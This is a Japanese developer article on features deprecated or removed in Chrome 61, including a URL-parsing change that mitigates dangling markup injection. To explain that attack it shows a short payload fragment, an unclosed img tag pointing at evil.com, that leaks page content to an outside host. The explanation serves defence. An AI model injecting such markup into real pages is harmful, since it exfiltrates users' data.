サポートの終了と削除(Chrome 61)

ジョー・メドレー
Joe Medley

Chrome のほぼすべてのバージョンで、プロダクト、パフォーマンス、ウェブ プラットフォームの機能に関して、多数の更新と改善が行われています。この記事では、Chrome 61(8 月 3 日時点でベータ版)のサポート終了と削除について説明します。このリストは随時変更される可能性があります。

セキュリティとプライバシー

URL に「\n」と「<」の文字が含まれるリソースをブロックする

ダングリング マークアップ インジェクションと呼ばれるハッキングの一種で、短縮された URL を使用して外部エンドポイントにデータを送信します。たとえば、<img src='https://evil.com/? を含むページについて考えてみましょう。URL には引用符がないため、ブラウザは次に続く引用符を読み取って、囲まれた文字を単一の URL のように扱います。

Chrome 61 では、href 属性と src 属性で許可されている文字セットを制限することで、この脆弱性を緩和しています。具体的には、改行文字(\n)を検出し、文字未満(<)を検出すると、URL の処理を停止します。

改行の使用が正当なユースケースで URL 内の文字数に満たない文字数がある場合は、代わりにこれらの文字をエスケープする必要があります。

削除の目的 | Chromestatus Tracker | Chromium のバグ

安全でないコンテキストでの Presentation API のサポート終了と削除

保護されていないオリジンでは、Presentation API が安全でないオリジンに対するハッキング ベクトルとして使用されることがわかっています。ディスプレイにはアドレスバーがないため、この API を使用してコンテンツを装うことができます。実行中のプレゼンテーションからデータを抜き出すことも可能です。

安全でないオリジンに対する強力な機能の削除という Blink の意図を踏まえ、安全でないコンテキストでの Presentation API のサポートを廃止し、削除する予定です。Chrome 61 以降、PresentationRequest.start() は安全でないオリジンでは機能しなくなります。

削除の目的 | Chromestatus Tracker | Chromium のバグ

JavaScript

ウィンドウのインデックス付きプロパティの定義を禁止する

これまで、一部のブラウザでは次のような JavaScript の割り当てが可能でした。

    window[0] = 1;

現在の HTML 仕様では、これは JavaScript 仕様への明示的な違反であることが示されています。そのため、Chrome 61 ではこの機能は削除されました。2016 年 2 月の時点では、Firefox はすでにこのポリシーに準拠しています。

Chromium のバグ

安全でない iframe からの通知の使用を削除する

iframe からの権限リクエストは、ユーザーを混乱させる可能性があります。コンテンツが含まれているページのオリジンと、リクエストを行っている iframe の生成元を区別することが難しいためです。リクエストの範囲が不明確な場合、ユーザーが権限を付与するか拒否するかを判断するのは困難です。

また、iframe で通知を禁止することで、通知権限の要件がプッシュ通知の要件と整合するため、デベロッパーの負担が軽減されます。

この機能を必要とするデベロッパーは、新しいウィンドウを開いて通知権限をリクエストできます。

削除の目的 | Chromestatus Tracker | Chromium のバグ